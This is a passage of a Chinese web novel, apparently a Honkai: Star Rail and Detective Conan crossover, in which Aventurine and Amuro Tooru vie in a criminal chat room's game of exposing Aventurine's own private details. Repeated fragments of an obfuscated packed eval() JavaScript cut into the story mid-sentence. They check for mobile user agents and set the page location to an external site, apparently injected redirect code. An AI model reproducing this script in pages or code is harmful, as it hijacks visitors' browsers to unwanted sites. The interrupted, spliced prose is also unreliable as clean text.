——Kentucky.B:我有点好奇这个家伙是怎么惹到我们大小姐的?大小姐不是说最近家里看得严,要在这个聊天室“神隐”一段时间的吗。 ——140512*:和你没关系!八卦精! ——Kentucky.B:well well,我不问就是了,可别把我也“老规矩”了呢。 ——140512*:你的嘴怎么还是这么欠! ——Kentucky.B:你不喜欢就好。 ——D:这人眼睛好特别啊,长得也挺不错的,可惜了,@140513*照片借我用用,那边应该有老板会喜欢。 ——140513*:随便拿去吧,死变态! ——D:是那些老板们喜欢、又不是我喜欢,怎么老是骂我变态。 ——988***13:放心吧大小姐!我绝对帮你出这了这口恶气。 ——988***13:@D D大佬,你能不能等我赚完钱再下手,小弟求罩 ——D:这不是我能决定的。 砂金找了家咖啡厅,点了杯咖啡,坐下慢慢地研究起聊天室活跃的成员来,被叫做大佬的“D”应该是个皮条客,988开头的家伙没什么好在意的,攀关系的小喽啰罢了, 没见140513*都没搭理献殷勤的988吗?敢和金主对着呛声、明显和老板处于平等地位上的人才是值得关注的存在, 比如说,那个“Kentucky.B”。 ——236***29:还有其他信息吗,光凭一张照片找人? 还有236,这人大概是个“务实主义者”,砂金见缝插针地把自己的名字发了出去。 ——Silica:我这有名字哦,听别人对他的称呼是“砂金”。 砂金这个突然发言的“陌生人”也引起了其他人的注意。 ——Kentucky.B:啊,是新人呢。刚升上来的? ——Kentucky.B:有点问题,我好像没在另一个聊天室见过你……走后门的? ——Silica:安心,凭真本事走的: ) ——236***29:@Kentucky.B 你不也一样是特邀进来的。@Silica 新人,还有别的信息吗,这个名字看起来不像真名。 ——Silica:很抱歉,暂时没有了。不过我会随时注意目标动向的,需要的话加个联系方式,我提供情报、你动手,我们合作五五分? ——D:哦?看新人这么说,新人也是搞情报的?B,你的竞争对手来了。 ——236***29:所以我们现在有两个情报贩子了? ——itf:有意思,那不如来玩一局吧。 闪着金光的昵称一出现,刚刚还很热闹的群里安静了一瞬间,砂金点开个人信息看了一眼,确认这个与众不同、带着特效的“itf”就是聊天室的创建人兼唯一管理员。 今天运气真是好得不得了呢,砂金没等对方冷场、很快地接上了itf的话题, ——Silica:打算怎么玩,管理员先生? ——itf:@35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222655|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' a-cfemail="8edde7e2e7edefcec5ebe0fafbede5f7a0cc">[email protected]你们两个同时调查照片上的人,查到的信息发到公频,一条信息积一分,直到那个叫“砂金”的人死了为止,谁的积分高谁胜出。 ——itg:胜者奖励一百万美金,输者……就从这里滚蛋如何,两位凭本事走后门的情报商先生? Kentucky.B平时惹了不少“民怨”啊,砂金笑出了声,管理员先生都开始迁怒到所有情报贩子身上了, 从itf的这场“游戏”上分析,对方也不愧“创建人”的身份,真是一点没把法律法规放在心上, 别忘了,聊天室里还有“大小姐”的悬赏,再把被悬赏人的信息、资料、乃至行踪时实发在公频里……可想而知,砂金会遇到多少想替大小姐“出气”的“好心人”, itf相当于直接拿他这条命当做计时器用了。 ——Silica:听起来不错,管理员……不,应该是裁判先生,先给我计上一分吧。我前面提供了姓名信息哦? 很巧,砂金也喜欢这么用。 —— 平时还是太招摇招人恨了吗? 微微皱眉、看着聊天室里“itf”提出的“小游戏”,金发黑皮的青年反思起自己来,itf在借那个叫“Silica”的新人敲打他这个同样使了些小手段、跳过前期直接入群的家伙, 而且他已经落后对方一分了。 “安室先生!麻烦你把这杯咖啡送到前台的客人那,我顺手先做下一位顾客的三明治了。” “没问题,”咖啡厅同事的声音响起,青年很快地按灭了手机,“是哪位客人的?” “很显眼的那位,和安室先生一样是个混血儿呢。” 安室透点了点头,端着咖啡出了门,正打算寻找那位“很显眼的客人”时,却和一双十几分钟前才在手机上见到过的、十分特殊的眼睛撞了视线。 歪了下头,砂金微微抬手示意了一下,“是我的咖啡吗?” “是的,请慢用。” 很巧,安室透想,他追回这一分了。 10.第 10 章 “这位朋友,”砂金左手搅着咖啡杯,右手支着下巴,饶有兴趣的开口,“请问我脸上是有什么特别的东西吗?” 对面的黑皮服务生已经在他附近来回晃了好几次了,要不是对方每次看他都是一副欲言又止的拘谨表情,砂金都要怀疑自己是不是有什么“莫名其妙得罪黑皮综合症”了, 上一个看他不顺眼,时不时给他添点堵的黑皮还是他的那个塑料同事、舒俱。 “实在是不好意思……”一脸纯良的服务生尴尬地摸摸鼻子,“其实我……就是…呃,很少遇见和我一样的人,有些失礼了!” “这样吧,客人今天的咖啡由我请了,权当是冒犯到客人的赔偿。” 好吧,享受了“混血儿”这个伪装身份的好处,自然而然也要承担这个身份可能带来的麻烦。 砂金笑了笑,算是不计较对方的失礼,“理解,不过请客倒是不用了。” 他现在有钱,砂金拿到住民证件之后干的第一件事,就是去博/彩中心买了十张彩票, 十张中了七张, 虽然不在开巨额奖池的期间,成本有限砂金也没有复式大额倍投,但奖金也不算少了,对于砂金来说可以算是刚刚好, 不至于一中千万,登报出名、引人注目,但又刚好可以让砂金从更加担忧他会染上不良嗜好的伊达警官那里独立出去,买个房子自己住, 置办完生活家居用品,买房剩下的钱还够砂金生活上好一阵子的——前提是砂金不要总是想着去买一些华而不实的奢侈品。 这也是加群了好几天,直到今天砂金才开始去接触聊天室的原因。 从伊达航那里搬走之后,就不用担心被聊天室的人针对时牵扯到对方了,毕竟伊达航还是个警察,一般的犯罪分子也不会故意给自己上难度、去找和目标并不在一起生活的在职警察的麻烦。 “不,还是要的,”黑皮服务生从后厨转了一圈,给砂金端来一碟小甜点,“就当交个朋友吧,店里的新品、请尝尝看感觉怎么?” “我喜欢交朋友这个说法,”砂金这次没有再拒绝,“我是砂金,朋友怎么称呼?” “我是安室……” “安室先生!”后厨忙碌的同事突然求助道,“我听到烤箱响了,但我正在处理奶油、有些空不出手……” “我是安室透,”服务生无奈地打开了手机,“先加个联系方式吧,正在上班有些不方便……我们回头再聊怎么样?” “当然可以,” 砂金加人的动作越来越熟练了,避开服务生的视线、不着痕迹的切回到干净的账号上后,有意无意地说道,“这几天我都加了不少人了,朋友多一些也没有坏处、不是吗?” 有意给烤箱定了时、又好心建议同事多做几个小蛋糕准备待售的服务生勾唇笑了笑,应道, “是这样没错。” —————————— 【你上次发的那个传单……多什么加乐园?好像快要开业了,卡卡瓦夏想去看一看。】 和自由自在、想什么时候出现就什么时候出现的“过去”不同,「砂金」喜欢在砂金狼狈吃瘪 、有乐子可看的时候冒头,顺便给主体捣点乱, 【你可千万别在乐园开业前就死掉了,】「砂金」翘着脚坐在书桌上,说着像是关心的话,【我尊重向死者,但让小孩子失望可是罪该万死的。】 现在,砂金已经在自己的“新家”里待着了。 听说因为隔壁是个动不动就搞爆/破作业的发明家,这幢房子的前主人装修完住了没两个月就受不了、选择了九成九新低价出售跑路,正好方便了砂金直接拎包入住。 “别把我看得那么脆弱,我会误以为我是什么珍贵的易碎品的。” 拿着毛巾,胡乱地揉了揉滴水的头发,洗完澡又简单包扎了一下还没长好的伤口,砂金干脆顶着搭在脑袋上的毛巾,窝在堆满抱枕的电脑椅里,在电脑上登录了“Silica”的帐号, 白天,Kentucky.B应了itf提的那个比赛之后,应该是忙着去调查他了、没有再发言,砂金也没有把关注全放在聊天室上,反而跑了好几个商场又买了不少没有用但很贵的东西, 钱嘛,赚了就是用来花的。 被忽视的聊天室刷一下涌出了一大堆未读信息,于是砂金侧头又看了看黑屏手机,“砂金”的帐号十分安静、和“Silica”形成了鲜明对比, 明明是“砂金”号上加的朋友更多——因为不好明说的性质,“Silica”没加到几个“好友”,稍微有点警惕心的群友都不乐意随便加人——结果还是聊天室更热闹。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235587|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 进入聊天室,草草地把聊天记录看下来,砂金发现“热闹”这件事,还得怪他自己, 聊天室里有人设了个赌局,赌“Silica”和“Kentucky.B”谁能得到一百万,而谁又会滚蛋,还有赌“砂金”能活过几天的。 「砂金」点评总结,【他们都想知道你会用什么样的死法,结束这场游戏。】 …… ——988***13:大佬们,你们都押谁赢了?让小弟借鉴一下吧! ——236***29:? ——236***29:赌盘统计上不是写了吗,Silica:Kentucky.B=31.29%:68.71% ——D:……236,你老实务实的不像是这个群里的人。 ——988***13:那个……236大佬,我其实是想问为什么有些大佬在Silica普遍不被看好的情况下还愿意投他赢,毕竟Kentucky.B大佬的实力是大家有目共睹的。 一个不知根系的新人,和一个已经出色地完成过很多群内情报任务的大佬,不用想也知道哪一个更可能滚蛋。 ——988***13:是不是因为Silica也是个潜在大佬,能爆冷? ——236***29:不知道,我投了Kentucky.B,他的能力不错、从他那买的几份情报都很准确。 ——236***29:虽然我运气可能不太好,那几次任务都出了点小意外,导致任务没能完美完成。 ——D:不知道,我投了Silica,因为B上次阴阳了我,我记仇。 ——D:@236***29 还有你确定你是运气不好,而不是你无意中得罪了B、被他恶搞了吗? ——236***29:……你说的有道理,我这就去改投Silica。 ——988**13:…… 这么草率的吗?!大佬的世界,988不懂。 ——Silica:这么多朋友都不看好我啊,我实在是有点小伤心呢?现在可是我领先哦! ——Kentucky.B:@Silica 马上就不是了。 ——Kentucky.B:@itf 裁判先生,我准备好放情报了,请出面计分吧。 11.第 11 章 安室透是带着任务进这个聊天室的。 而聊天室最早创建在一年前——它以一种不容拒绝的强硬姿态,出现在了各个灰色地带的“招聘网站”上,而且只招收未成年成员。 玩笑一样的招收规则引来了一名黑客的注意,人类的逆反心理作祟,越不让其加入、其越想打破窗户进去嘲笑一番, 结果试图攻克这个像广告弹窗一样的聊天室的黑客却失败了,于是雪球越滚越大,越来越多的人注意到聊天室、越来越多的人想完成别人完不成的“攻克挑战”,至今却无一人如愿以偿, 聊天室连同它背后的存在也越来越出名,直到这颗“雪球”滚到了组织的视线中。 毫无疑问,创建聊天室的人是个计算机方面的天才,组织动了招揽的心思,但招揽对方的人选却没那么好找, 对方只和未成年玩,随便一个小混混都能进的群,组织的成年人们就是进不去,就算去买帐号也会被对方发现然后收获封号大礼包一份, 最后组织在不靠谱的未成年成员和靠谱的成年人成员中犹豫不决了许久,选择……让波本这个脸嫩的家伙冒充未成年混进去。 安室透……安室透没有意见,反正总不能让hiro把胡子剃了陪他一起装小孩吧? 正好警方那边也关注到了这个聊天室,就当又多打了份工,安室透收拾收拾自己,混进了群里,又使了点小手段顺利打入到了更深处。 同时为了有合理的理由去干涉聊天室内一些过于恶劣的案件,安室透在“波本”的基础上加工出了“睚眦必报”、“阴暗毒舌”、“热衷搞破坏”的人设Kentucky.B, 就像236被他破坏了的那几次任务一样,别人只会觉得是Kentucky.B恶趣味又上头了,而不会想到安室透其实是在暗中营救受害人。 只是这人设……好像立得太过于完美了,招了不少人的恨,连itf都不怎么待见他, 但滚蛋是不可能的,他白天退群、晚上琴酒就能把枪怼到他脑门上质疑他的能力和“忠心”,所以这场“比赛”他必须赢。 抱歉了……安室透双手放在了键盘上,飞快地敲打下今天收获的情报内容,他要冒犯一下那位砂金先生的隐私了,不过他也安排了人手保护对方,不会出什么大问题的, 就是希望以后班长揍他的时候,能下手轻点就好了——调查对方之前,安室透也没想到砂金还会和伊达航有着那样的关系! …… ——itf:@Kentucky.B 开始吧。 金光闪闪的昵称出现,聊天室里闲聊的、打赌的、看热闹的都安静了下来,没人敢在itf出面的时候捣乱,砂金也撑着下巴、想看看Kentucky.B都知道了些什么。 ——Kentucky.B:大小姐的“悬赏”发布于今日下午17:37分,恰巧在大部分高中部社活结束之后,联想到大小姐前不久才小心眼发作、在另一个聊天室里发布了有关一名高中生的委托,所以我专门调查了这一时间段内的各校园论坛, ——Kentucky.B:运气不错,我找到了一条匿名吐槽#最近毛利兰是得罪谁了?#的贴子,并且有人在当日17:21分时,发布了#说不定真像那个毒舌的混血儿说的,是哪个丑八怪在嫉妒她?#等相关言论, ——Kentucky.B:虽然贴子目前已经被删除,但我及时的保留了部分证据,[附:论坛发言截图].jpg,结合“混血儿”、“丑八怪”、“毛利兰”以及大小姐的反应和时间点等关键信息得出, ——Kentucky.B:那个“混血儿”就是目标人物、砂金,而目标被大小姐“悬赏”的原因是说中了丑八怪大小姐的小心思,被打击报复了呢~ 逻辑清晰、有理有据,结论真实性很强,就是…… ——140512*:Kentucky.B你这个该死的贱人!你别让我抓到你!!! [管理员itf已将140512*禁言三天] ——itf:私人恩怨之后自己解决,别打断我看戏: ) 就是很拉仇恨,明着又把对方嘲讽了一通的安室透没把被禁言的大小姐的威胁放在眼里,先抛了一条无关紧要的情报维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260460|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持Kentucky.B的人设,顺便试试Silica的底, ——Kentucky.B:我这算是和目标有关系的情报吧? ——itf:合格,Kentucky.B计1分。@Silica 你还有补充吗? ——Silica:速度啊朋友,那我继续押吧。 电脑这头的砂金想了想,他又不是正经的情报贩子,专业性肯定比不过Kentucky.B,但他可没答应过要和对方比收集情报的能力, 最了解砂金的人是他本人——这还需要怀疑吗? ——Silica:目标并非帝丹高中的学生。 ——itf:理由? ——Silica:他没穿帝丹的校服。[附:砂金的偷拍照片].jpg ——itf:…… ——Kentucky.B:…… 和安室透一大串的文字说明相比,这理由过于简单粗暴了,甚至Silica抛出来的照片都还是140512*发的那一张,敷衍的不得了。 ——Silica:朋友,我知道这是个再明显不过、有眼睛的人都看得出来,甚至不值得一提的情报,但这也是情报、不对吗? ——itf:合格,Silica 2分。下次再拿这种东西糊弄我,就倒扣一分。 ——Silica:裁判大人好凶哇~ ——Kentucky.B:我排查了17:00至18:30时间段学校附近的监控,在一家咖啡厅附近和学校门口均发现过目标的身影,目标的出行方式为步行,所居地应当在帝丹高中附近的街道, ——Kentucky.B:暂时可定范围为东京都米花町一丁目至三丁目。[附:地图范围图].jpg ——Silica:Raise, 砂金活动了下手指,扬着唇角噼里啪啦的地敲下字符, ——Silica:详细地址为东京都米花町二丁目23番地。[附:目标已签字的房屋购买合同照片].jpg 地址在这了,欢迎朋友们前来做客。 12.第 12 章 地址是……正确的,其实安室透不用点开那张购买合同的照片,也知道砂金的详细地址正在Silica所述的位置上,只是为了目标的安全着想、才有意给了一个大致的范围而已。 盯着屏幕的眼眸中,神色渐渐凝重了起来,安室透知道他这次算是遇上一个不简单的“对手”了, 安室透能这么快收集到砂金的情报,除了本身的能力过硬之外,还要得益于他双重卧底的特殊身份——黑白灰三道的情报网他都能插上一脚, 同行里,人脉能比他的信息来源更广的家伙可没有几个。 砂金本人又是被警方解救过、现在还在临时监管范围内的受害人,走公安的渠道、安室透很快就把对方的基本信息了解了个七七八八, 但是Silica是怎么知道这么详细的? Silica还知道更多吗? 该说果然吗? 能被“特邀”入群就代表了对方也绝不是个简单的人物,小小的聊天室中卧虎藏龙,安室透在心底再次向目标道了次歉,收起了探底的心思, 他要认真起来了。 …… ——Kentucky.B:两个半月前,目标第一次以一起恶性犯罪案件受害人的身份出现在大众面前,此前曾用身份因“失忆”不得而知。初步判断为被胁迫入境的外来偷渡人员。[附:警方部分笔录信息].jpg ——Silica:跟注,之后住院了两个月,倒欠了警方不少医疗费。[附:医疗费用清单].jpg ——Kentucky.B:不过五天前目标所购买的彩票中奖,已偿还完所有债务。[附:彩票购买记录].jpg ——Silica:所以他现在正一人独居在刚买的别墅里,朋友们,这可是动手替大小姐出气的好机会啊~ ——Kentucky.B:异议,目标仍处在警方的受害人保护监管期中,不是下手的最好时机。 ——Silica:朋友,想想出手大气的大小姐会给你些什么?两百万?两千万?甚至更多?那可是高达几十倍的巨额回报,而你最多只会输掉区区100%的本金罢了, ——Silica:简单的数学问题,这难道还需要犹豫吗? ——Kentucky.B:哈,区区100%。 ——Silica:你必须承认,知足是凡人的美德,胆怯是赌徒的大忌。 ——Kentucky.B:当然,如果已经有白痴迫不及待地跑去动手、结果被条子抓了的话,记得把Silica的这句至理名言写进口供里好供后人瞻仰。 ——itf:够了你们俩个,再废话我不介意每人送张飞机票、还聊天室一个清静。 ——Silica:好啦好啦,不妨幽默一点,@Kentucky.B还加注吗,朋友? ——Kentucky.B:继续。 …… 与此同时的另一个聊天室,为了不打断尊敬的管理员大人看戏,平时不怎么冒泡的高积分用户开始在外围聊天室中就Kentucky.B和Silica开始了新一轮的讨论, ——236***29:他们现在聊到哪了?刚刚有点事没注意、一打开好多消息,我要晕字了。 ——D:大小姐在这个群也被禁言了? D一眼看破,被禁言的140512*应该是跑去私聊骚扰236、想让236替她报复Kentucky.B去了,就是不知道236接没接对方的任务。 ——236***29:她说是的,应该是怕她说些不该说的话。 内部聊天室的交易对外围是绝对保密的,像条疯狗、易爆易怒的140512*气急了谁知道她会干些什么,干脆都禁言让她冷静冷静。 ——988***13:来了来了!大佬,他们已经从一开始的地址聊到债款,从彩票聊到喜欢喝哪种咖啡和爱吃什么东西上了! ——988***13:现在B大佬正在证明那家伙是左撇子,S大佬补充左右手其实都很灵活、只是习惯性左利手罢了,所以目前仍然是S大佬领先一分! ——D:比分很胶着。 基本上是Kentucky.B说了什么,Silica就马上跟上,你一言我一句的斗到现在,期间还夹杂着些阴阳怪气和相互嘲讽……D很久没见到这么精彩的“对决”了。 ——236***29:? ——D:惊讶吧?我也没想到Silica这么能干。可惜赌盘已锁、不能再改投了,不然局势真会来个大反转。 ——236***29:我去看了一眼,现在有个疑惑、我不理解。 ——236***29:目标的眼睛和粉钻更配、还是和紫钻更配的这种情报……对我完成140512*的委托有什么帮助吗? ——D:没什么帮助,你又不可能买钻石送人,但对Silica和Kentucky.B来说这关系到这一分该归谁。 ——D:其实从这里就能看出来两个人的情报风格了,这两走得完全不是一条路。 ——988***13:大佬!求指点!! ——D:简单。 作为一名经验老练的资深皮条客,D自然有一定能识人分析能力,在聊天室里也是少有的没什么架子、乐意好心替别人解答的角色……只不过,这个“好心”到底是为了什么,只有D自己知道。 ——D:拿紫钻粉钻举例,从两个人的举证上看,B从医生的体检证明、虹膜异色症的相关学术研究论文以及RGB标准表判断目标的瞳色是真实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292381|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且更偏向紫色的, ——D:同时加上目标喜欢购买昂贵商品的爱好,B认为相对于粉钻,目标会更喜欢更加昂贵稀少的紫钻。 ——D:S的理由一如即往的简单粗暴,他的举证是目标买了一个粉色的有色墨镜,在墨镜的影响下、目标瞳色会偏粉,考虑到整体的穿搭,粉钻更般配。 ——D:简单来说,B是从旁人的角度分析目标,理性为主导视角,他的风格一向如此、像是没有感情却无处不在的电子监控。 ——D:S的感情则更加丰盛,他简直像是站在目标的视角上说话、在考虑自己之后的穿塔一样,仿佛是会附身的幽灵……有一说一,这种风格只能让我想到两种可能, ——D:要么他是少见的情报收集和代入测写方面的天才;要么Silica就是在“作弊”,他其实和目标认识、甚至很了解目标, ——D:但不管是哪一种,B这局都没那么好赢喽,没错、我就是在幸灾乐祸哈哈哈哈哈! …… 老千,还是天才? 此时此刻的安室透和“D”想到了一起,他也在分析着Silica,假设对方在出千的话,那Silica一定是和目标关系较为“亲密”的存在, 【这几天我都加了不少人了……】 咖啡厅里,砂金无意的一句话从安室透脑袋里蹦了出来,难道Silica和他一样也搞到了目标的联系方式,从目标本人口中套了情报? 正巧,他也加了砂金,那就直接去试探一下吧。 …… 另一端,不知道自己已经被怀疑作弊,或者说是其实并不在意自己会不会暴露、主打玩得就是一个刺激的砂金停下了敲键盘的动作, Kentucky.B那边突然安静下来了。 换做是普通人被陌生人如此的摸根知底,恐怕早都惶恐的不得了了,但砂金手指微颤、依旧选择控制着自己领先Kentucky.B仅仅一分的差距, 紧张兴奋地用这一分吊着Kentucky.B,想让对方放出更多有关自己的情报。 “叮咚——!” 一直黑屏着的手机响了,兴奋感因为没了Kentucky.B的步步紧追而开始消散、有点奇怪谁会半夜给他发消息的砂金摸过手机,看见发信人是白天刚加上的那位黑皮服务生。 ——安室透:深夜叨扰、还请见谅,可以冒昧地问一下,砂金先生最近有遇到什么奇怪的人吗? 这么直接?砂金眨眨眼,回道, ——砂金:的确是有,而且刚刚还在问我奇怪的问题。 不就是你吗,半夜突然来信的家伙? …… 还问奇怪的问题?!安室透感觉自己抓到了Silica的尾巴,对方的确认识目标! 13.第 13 章 其实吧,砂金并不觉得自己和只有一面之缘的黑皮服务生先生的关系、到了可以“秉烛夜谈”的那种程度, 尤其是对方似乎还对他另有目的的时候。 就像几日前拦下到处拉人入伙的胜村一样,砂金在与人交心的这方面格外的敏感,所以就算安室透比胜村表现的更加无害、表演地完美无误,砂金也似有所感。 【第六感是不讲道理的。】「砂金」说道。 “大概是血脉里的天赋吧,”砂金自嘲地为自己在痛苦与血泪中、用命锤炼出来的能力寻找一个别人会接受的解释,“毕竟我可是天生的骗子、交际花什么的。” 那些人总是这样,贬视他的过往、无视他的付出、轻视他的成就,当他赌上性命、博弈成功、站在那些人这辈子都站不到的位置品着庆功酒时,角落里就有声音传来, 【“看那双眼睛,狡诈的埃维金人,天生的诡计阴谋家,难怪能那么轻易地就把那些坏帐回收回来。”】 「砂金」学着那些人轻蔑地说着,【而你在其中遇到的危险,通宵恶补的资料,受刑架上的呻/吟,赌桌下颤抖的手……他们通通视而不见,】 【你的“成功”成了“理所当然”,他们的“失败”是因为他们不像你这般天性卑贱,你取得一切的艰难都可以被一句“埃维金人啊,那就不奇怪了”轻轻揭过……】 但每个埃维金人都是天生的阴谋家吗? 那为什么被天上来的黑衣人所欺骗、被灭绝的也是埃维金人, 卡卡瓦夏又是一生下来就知道怎么玩弄诡计、追名逐利的吗? 那为什么唯独卡卡瓦夏最珍视的存在一个也不曾追逐到怀。 【事实如何,你心里清楚的很。】「砂金」顿了顿,【你所言的幸……】 【大哥哥!】 从门口探出的毛茸茸的脑袋打断了「砂金」后面的话,卡卡瓦夏探头探脑地抱着抱枕、穿着砂金给他买的绿色小恐龙睡衣,【我,我有点害怕一个人睡……大哥哥可以陪我一会儿吗?】 “当然!我亲爱的小卡卡瓦夏,让他陪你可以吗?” “我还有些工作要处理,”砂金瞥了「砂金」一眼,面对卡卡瓦夏的温柔语气一变,“这是我为数不多觉得你还有点用的时候。” 「砂金」摊手,【你总是不愿承认“未来的你”会是个多优秀的人。】 砂金啧了一声,注意重新放回到安室透叮叮咚咚发来的短信上,“饶了我吧,我未来可不能变成像你这样自恋的家伙。” 你现在就已经足够“自恋”了,张扬的花孔雀。 「砂金」没说出口,自然地牵起卡卡瓦夏的手离开了砂金的卧室,往卡卡瓦夏的儿童房走去——再次感谢别壁前主人的精心装修,这房子什么都有。 站在堆满了抱枕和毛绒玩偶的儿童床边,「砂金」难得不是很想承认那个在商场里采购大量这些东西的砂金和自己是同一个人, 砂金总是记不住一张正常的床上应该放几个枕头。 【好了,聪明的孩子该睡觉了,】「砂金」把卡卡瓦夏抱到儿童床上,【需要我再讲个睡前故事吗?】 卡卡瓦夏歪了下头,【你对他也这么温柔就好了,大人们吵起架来很可怕的。】刚刚如果不是他的及时打断,两个大人估计又要吵得不欢而散了。 【并不是我想和他吵……好吧,】 在卡卡瓦夏单纯真挚的注视下,「砂金」改口了,【我承认,我有时的确会控制不住地想要挖苦他,但别忘了我是因为什么而诞生的,我没做错什么,你甚至可以夸赞我十分敬业。】 【反倒是他……】「砂金」坐在床边,向卡卡瓦夏倒起苦水,【瞅瞅他都做了些什么,】 毛利兰一事砂金本来可以不插手的,或者是用报警的方式来解决问题,相信伊达警官会很乐意帮助毛利兰他们抓住坏人; 聊天室也不是非进不可的,找找黑市黑赌场什么的一样可以扩展人脉和消息渠道、寻找基石的下落; 想增强新身份的社会认可程度也可以由自己进行社交营生,而不是扯个由头、借Kentucky.B之手把自己的隐私全抛出来展示给别人看。 明明有更稳托的解决方式,砂金偏要去挑战一下什么叫做刺激。 【赌命,赌命,除了赌命还是赌命。】「砂金」无奈极了,【别人是向死而生,他倒好、生而向死哈哈哈,真是好笑。】 「砂金」知道砂金想得是什么, “被母神赐福的孩子”会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13357124|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 获得常人不可得的强运,所以砂金把自己放在赌盘上, 赢了就代表他还被芬戈妈妈注视着,他会成为家人们的骄傲、像家人们所希望地那样在这个悲伤的世界里一直活下去, 输了则代表芬戈妈妈收回了她的“赐福”、强运不在,砂金便不必再承担“卡卡瓦夏”之名,好得到他梦寐以求的解脱、在卡卡瓦的极光下与家人们重逢。 【“运气”而非决定一切的关键。】 但砂金偏偏把一切都和“运气”绑在一起,看不到自己存在的意义。 【他早晚要面对这个现实,他现在取得一切的根本原因与“卑劣的血脉”无关,同样与给了他极端自负理由的“运气”也无关,】 「砂金」撇了撇嘴,【如果“运气”真的有那么神通广大,砂金在匹诺康尼的梦境尝试跳楼自杀的时候,就应该幸运地直接摔在楼下路过的令使的刀尖上,何必想方设法地强逼令使给他一刀?】 【那位擅长医治庸人的拉帝奥教授,或者在虚无之路上走的足够远、足以为他解惑“人为什么为死而生”的令使小姐还在的话,估计他还能有点救……但谁让他们不在呢?】 【所以只有我来当这个戳破他自欺欺人的美好幻想的恶人了。】所以「砂金」对着砂金“恶语相向”。 卡卡瓦夏晃晃搭在床边的脚,【但是,在游乐场的时候,你们不是已经和好了吗?大哥哥应该早知道他是什么样的人了。】 【情况不一样,小家伙,】「砂金」说道,【在成为“我”与死亡的面前,他选择死亡、登上既定的舞台,这无可厚非……我尊重他的选择,理解他的信念,】 所以别指望「砂金」能对砂金好声好气的循循善诱,要不是「砂金」和砂金已经达成了自我的和解,「砂金」才懒得管砂金的死活。 【可是现在,这里没有人知道“茨冈尼亚”,也无人知晓“埃维金人的眼睛”,就当放松一下也好,为什么不去试试新的生活方式呢?】 「砂金」抬起手,卡卡瓦夏愣了下、和「砂金」合掌,然后听到「砂金」继续道,【这可是母神的仁慈啊。】 既然“意外”让砂金来到了这个世界,是不是说明芬戈妈妈也想让自己这可怜的、仅存的孩子休息一下? 14.第 14 章 “人”是由“肉/体的躯壳”,“自我的认可”和“社会的认知”组成的,其中最重要的当然是后两者, 一个决定了自己是怎样的人,另一个决定自己成为了怎样的人。 一般而言,这两者应当是不相上下的挤在同一具躯壳里,相辅相成,带动着躯壳成长、提供给躯壳行动的目标和能源动力, 可砂金的自我意识本就因过往的经历而稀薄得可怜,独大的“社会认知”也不是什么好东西——种族偏见就像是到了星际社会也铲不干净的牛皮癣小广告一样糊在砂金的身上,导致那丁点的自我认可一路长歪, 失败者自私的废物懦夫杀人犯受赐福者一无是处母神的宠儿疯子赌徒弃子天选者输家……「砂金」从砂金的自我认识里挑不出来几个好词,真是难为砂金一天天得还能自信成花孔雀那样。 「砂金」方才认为这一次的“穿越”是母神的仁慈,是把砂金那还没来得及萌芽就被种种外因压得喘不上气的自我,扒出来透透气、浇浇水、晒晒太阳的好时机, 没人认识过去的砂金,这正好给了砂金重新构建一个健康的“社会认知”、让虚无的自我重新发芽生长的难得机会。 就是这个机会……一想到这,「砂金」幽幽地叹口气,和卡卡瓦夏对视一眼, 还得看砂金愿不愿意抓了。 —————————— 时间回到安室透得到砂金回复之时, 